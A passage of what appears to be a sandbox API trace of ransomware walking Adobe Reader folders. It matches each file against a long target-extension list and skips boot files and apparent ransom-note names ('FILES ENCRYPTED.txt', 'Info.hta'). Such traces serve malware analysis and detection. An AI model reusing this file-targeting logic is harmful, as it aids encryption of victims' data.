ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.099] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.099] lstrlenW (lpString="ui-strings.js") returned 13 [0273.099] lstrlenW (lpString=".1cd") returned 4 [0273.099] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.099] lstrlenW (lpString=".3ds") returned 4 [0273.099] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.099] lstrlenW (lpString=".3fr") returned 4 [0273.099] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.099] lstrlenW (lpString=".3g2") returned 4 [0273.099] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.099] lstrlenW (lpString=".3gp") returned 4 [0273.099] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.099] lstrlenW (lpString=".7z") returned 3 [0273.099] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.099] lstrlenW (lpString=".accda") returned 6 [0273.099] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.099] lstrlenW (lpString=".accdb") returned 6 [0273.099] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.099] lstrlenW (lpString=".accdc") returned 6 [0273.099] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.099] lstrlenW (lpString=".accde") returned 6 [0273.099] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.099] lstrlenW (lpString=".accdt") returned 6 [0273.099] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.099] lstrlenW (lpString=".accdw") returned 6 [0273.099] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.100] lstrlenW (lpString=".adb") returned 4 [0273.100] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".adp") returned 4 [0273.100] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ai") returned 3 [0273.100] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.100] lstrlenW (lpString=".ai3") returned 4 [0273.100] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ai4") returned 4 [0273.100] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ai5") returned 4 [0273.100] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ai6") returned 4 [0273.100] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ai7") returned 4 [0273.100] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ai8") returned 4 [0273.100] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".anim") returned 5 [0273.100] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.100] lstrlenW (lpString=".arw") returned 4 [0273.100] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".as") returned 3 [0273.100] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.100] lstrlenW (lpString=".asa") returned 4 [0273.100] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".asc") returned 4 [0273.100] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.100] lstrlenW (lpString=".ascx") returned 5 [0273.100] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.101] lstrlenW (lpString=".asm") returned 4 [0273.101] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".asmx") returned 5 [0273.101] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.101] lstrlenW (lpString=".asp") returned 4 [0273.101] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".aspx") returned 5 [0273.101] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.101] lstrlenW (lpString=".asr") returned 4 [0273.101] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".asx") returned 4 [0273.101] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".avi") returned 4 [0273.101] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".avs") returned 4 [0273.101] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".backup") returned 7 [0273.101] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.101] lstrlenW (lpString=".bak") returned 4 [0273.101] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".bay") returned 4 [0273.101] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".bd") returned 3 [0273.101] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.101] lstrlenW (lpString=".bin") returned 4 [0273.101] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".bmp") returned 4 [0273.101] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".bz2") returned 4 [0273.101] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.101] lstrlenW (lpString=".c") returned 2 [0273.102] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.102] lstrlenW (lpString=".cdr") returned 4 [0273.102] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".cer") returned 4 [0273.102] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".cf") returned 3 [0273.102] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.102] lstrlenW (lpString=".cfc") returned 4 [0273.102] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".cfm") returned 4 [0273.102] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".cfml") returned 5 [0273.102] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.102] lstrlenW (lpString=".cfu") returned 4 [0273.102] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".chm") returned 4 [0273.102] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".cin") returned 4 [0273.102] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".class") returned 6 [0273.102] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.102] lstrlenW (lpString=".clx") returned 4 [0273.102] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".config") returned 7 [0273.102] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.102] lstrlenW (lpString=".cpp") returned 4 [0273.102] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".cr2") returned 4 [0273.102] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.102] lstrlenW (lpString=".crt") returned 4 [0273.102] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".crw") returned 4 [0273.103] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".cs") returned 3 [0273.103] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.103] lstrlenW (lpString=".css") returned 4 [0273.103] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".csv") returned 4 [0273.103] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".cub") returned 4 [0273.103] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dae") returned 4 [0273.103] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dat") returned 4 [0273.103] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".db") returned 3 [0273.103] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.103] lstrlenW (lpString=".dbf") returned 4 [0273.103] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dbx") returned 4 [0273.103] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dc3") returned 4 [0273.103] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dcm") returned 4 [0273.103] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dcr") returned 4 [0273.103] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".der") returned 4 [0273.103] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dib") returned 4 [0273.103] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.103] lstrlenW (lpString=".dic") returned 4 [0273.104] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".dif") returned 4 [0273.104] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".divx") returned 5 [0273.104] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.104] lstrlenW (lpString=".djvu") returned 5 [0273.104] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.104] lstrlenW (lpString=".dng") returned 4 [0273.104] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".doc") returned 4 [0273.104] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".docm") returned 5 [0273.104] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.104] lstrlenW (lpString=".docx") returned 5 [0273.104] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.104] lstrlenW (lpString=".dot") returned 4 [0273.104] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".dotm") returned 5 [0273.104] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.104] lstrlenW (lpString=".dotx") returned 5 [0273.104] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.104] lstrlenW (lpString=".dpx") returned 4 [0273.104] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".dqy") returned 4 [0273.104] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".dsn") returned 4 [0273.104] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.104] lstrlenW (lpString=".dt") returned 3 [0273.104] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.105] lstrlenW (lpString=".dtd") returned 4 [0273.105] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".dwg") returned 4 [0273.105] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".dwt") returned 4 [0273.105] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".dx") returned 3 [0273.105] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.105] lstrlenW (lpString=".dxf") returned 4 [0273.105] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".edml") returned 5 [0273.105] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.105] lstrlenW (lpString=".efd") returned 4 [0273.105] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".elf") returned 4 [0273.105] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".emf") returned 4 [0273.105] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".emz") returned 4 [0273.105] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".epf") returned 4 [0273.105] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".eps") returned 4 [0273.105] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".epsf") returned 5 [0273.105] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.105] lstrlenW (lpString=".epsp") returned 5 [0273.105] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.105] lstrlenW (lpString=".erf") returned 4 [0273.105] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0273.105] lstrlenW (lpString=".exr") returned 4 [0273.105] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".f4v") returned 4 [0273.106] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".fido") returned 5 [0273.106] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0273.106] lstrlenW (lpString=".flm") returned 4 [0273.106] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".flv") returned 4 [0273.106] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".frm") returned 4 [0273.106] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".fxg") returned 4 [0273.106] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".geo") returned 4 [0273.106] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".gif") returned 4 [0273.106] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".grs") returned 4 [0273.106] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".gz") returned 3 [0273.106] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.106] lstrlenW (lpString=".h") returned 2 [0273.106] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.106] lstrlenW (lpString=".hdr") returned 4 [0273.106] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".hpp") returned 4 [0273.106] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".hta") returned 4 [0273.106] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0273.106] lstrlenW (lpString=".htc") returned 4 [0273.106] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".htm") returned 4 [0273.107] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".html") returned 5 [0273.107] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0273.107] lstrlenW (lpString=".icb") returned 4 [0273.107] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".ics") returned 4 [0273.107] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".iff") returned 4 [0273.107] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".inc") returned 4 [0273.107] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".indd") returned 5 [0273.107] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0273.107] lstrlenW (lpString=".ini") returned 4 [0273.107] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".iqy") returned 4 [0273.107] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".j2c") returned 4 [0273.107] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".j2k") returned 4 [0273.107] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".java") returned 5 [0273.107] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0273.107] lstrlenW (lpString=".jp2") returned 4 [0273.107] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".jpc") returned 4 [0273.107] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0273.107] lstrlenW (lpString=".jpe") returned 4 [0273.108] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0273.108] lstrlenW (lpString=".jpeg") returned 5 [0273.108] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0273.108] lstrlenW (lpString=".jpf") returned 4 [0273.108] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0273.108] lstrlenW (lpString=".jpg") returned 4 [0273.108] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0273.108] lstrlenW (lpString=".jpx") returned 4 [0273.108] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0273.108] lstrlenW (lpString=".js") returned 3 [0273.108] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.108] lstrlenW (lpString="ui-strings.js") returned 13 [0273.108] lstrlenW (lpString=".love$") returned 6 [0273.108] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0273.108] lstrlenW (lpString="ui-strings.js") returned 13 [0273.108] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0273.108] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js") returned 133 [0273.109] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.109] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0273.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.109] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0273.109] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no") returned 119 [0273.109] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no") returned 1 [0273.109] lstrlenW (lpString="nb-no") returned 5 [0273.109] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nb-no") returned -1 [0273.109] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.109] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no") returned 119 [0273.109] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0273.109] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.110] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.110] lstrlenW (lpString="ui-strings.js") returned 13 [0273.110] lstrlenW (lpString=".1cd") returned 4 [0273.110] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.110] lstrlenW (lpString=".3ds") returned 4 [0273.110] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.110] lstrlenW (lpString=".3fr") returned 4 [0273.110] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.110] lstrlenW (lpString=".3g2") returned 4 [0273.110] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.110] lstrlenW (lpString=".3gp") returned 4 [0273.110] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.110] lstrlenW (lpString=".7z") returned 3 [0273.110] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.110] lstrlenW (lpString=".accda") returned 6 [0273.110] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.110] lstrlenW (lpString=".accdb") returned 6 [0273.110] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.110] lstrlenW (lpString=".accdc") returned 6 [0273.110] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.110] lstrlenW (lpString=".accde") returned 6 [0273.110] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.110] lstrlenW (lpString=".accdt") returned 6 [0273.110] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.110] lstrlenW (lpString=".accdw") returned 6 [0273.110] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.111] lstrlenW (lpString=".adb") returned 4 [0273.111] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".adp") returned 4 [0273.111] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ai") returned 3 [0273.111] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.111] lstrlenW (lpString=".ai3") returned 4 [0273.111] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ai4") returned 4 [0273.111] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ai5") returned 4 [0273.111] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ai6") returned 4 [0273.111] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ai7") returned 4 [0273.111] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ai8") returned 4 [0273.111] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".anim") returned 5 [0273.111] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.111] lstrlenW (lpString=".arw") returned 4 [0273.111] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".as") returned 3 [0273.111] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.111] lstrlenW (lpString=".asa") returned 4 [0273.111] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".asc") returned 4 [0273.111] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.111] lstrlenW (lpString=".ascx") returned 5 [0273.112] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.112] lstrlenW (lpString=".asm") returned 4 [0273.112] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".asmx") returned 5 [0273.112] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.112] lstrlenW (lpString=".asp") returned 4 [0273.112] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".aspx") returned 5 [0273.112] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.112] lstrlenW (lpString=".asr") returned 4 [0273.112] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".asx") returned 4 [0273.112] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".avi") returned 4 [0273.112] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".avs") returned 4 [0273.112] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".backup") returned 7 [0273.112] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.112] lstrlenW (lpString=".bak") returned 4 [0273.112] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".bay") returned 4 [0273.112] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".bd") returned 3 [0273.112] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.112] lstrlenW (lpString=".bin") returned 4 [0273.112] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.112] lstrlenW (lpString=".bmp") returned 4 [0273.113] lstrcmpiW 